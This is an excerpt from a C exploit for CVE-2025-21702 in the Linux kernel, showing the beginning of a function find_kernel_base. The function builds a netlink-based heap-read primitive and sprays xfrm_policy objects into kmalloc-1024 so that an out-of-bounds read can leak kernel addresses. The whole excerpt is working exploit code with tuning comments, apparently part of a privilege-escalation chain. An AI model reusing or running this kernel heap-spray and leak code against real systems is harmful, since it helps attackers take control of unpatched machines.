Function find_kernel_base

CVE-2025-21702/exploit/exploit.c:1474–1581

}

u64 find_kernel_base(void)
{
// 1. prepare heap read data
	printf("[1-1] prepare heap read data\n");
	struct heap_read_primitive heap_read_primitive = {};
	heap_read_primitive_init( 		// socket(NETLINK_ROUTE) & bind()
		&heap_read_primitive,
		"rb_tree",
		0xAAAA0000,					// rb_tree_interface_qdisc_A_handle
		0xBBBB0000,
		0xCCCC0000,
		0xAAAA0000 | 0xAAAA, 		// rb_tree_interface_classid_A
		0xAAAA0000 | 0xBBBB,
		0xAAAA0000 | 0xCCCC,
		0xAAAA0000 | 0xDDDD,
		"keyA",
		"keyB",
		16,
		"keyspray"
	);
// 2. prepare parameters for spraying `xfrm_policy` in kmalloc-1024  			// 用于 OOB read 时泄露 xfrm_policy 结构
	printf("[1-2] prepare parameters for spraying `xfrm_policy` in kmalloc-1024\n");
	struct xfrm_policy_netlink_params params = {};
	inet_pton(AF_INET, "192.168.1.100", &(params.sel.daddr.a4)); 		// ????? change ?????
	inet_pton(AF_INET, "192.168.1.1", &(params.sel.saddr.a4));
	params.sel.dport = htobe16(4444);
	params.sel.dport_mask = htobe16(0xFFFF);
	params.sel.sport = htobe16(3333);
	params.sel.sport_mask = htobe16(0xFFFF);
	params.sel.family = AF_INET;
	params.sel.prefixlen_d = 32;
	params.sel.prefixlen_s = 32;
	params.sel.proto = IPPROTO_UDP;
	params.sel.ifindex = 1234;
	params.sel.user = 1234;
	params.lft.soft_byte_limit = ~0UL;
	params.lft.hard_byte_limit = ~0UL;
	params.lft.soft_packet_limit = ~0UL;
	params.lft.hard_packet_limit = ~0UL;
	params.lft.soft_add_expires_seconds = 0;
	params.lft.hard_add_expires_seconds = 0;
	params.lft.soft_use_expires_seconds = 0;
	params.lft.hard_use_expires_seconds = 0;
	params.priority = 0xCAFEBABE;
	params.dir = XFRM_POLICY_OUT;
	params.action = XFRM_POLICY_BLOCK;
	params.xfrm_mark.v = 0xCAFEBABE;
	params.xfrm_mark.m = 0xCAFEBABE;
	// alloc `xfrm_policy_spray->params`
	u32 xfrm_policy_spray_count = 32 * 2; 		// ?????  32 * 5
	struct xfrm_policy_spray xfrm_policy_spray = {};
	xfrm_policy_spray_init(&xfrm_policy_spray, xfrm_policy_spray_count); 	 // socket(NETLINK_XFRM)
	// init `xfrm_policy_spray->params`
	for (u32 i = 0; i < xfrm_policy_spray_count; i++) {
		params.if_id = 0xCAFE0000 + i;
		params.index = (0xCAFE0000 + (i << 16)) | XFRM_POLICY_OUT;
		xfrm_policy_spray_insert_netlink_params(&xfrm_policy_spray, &params);
	}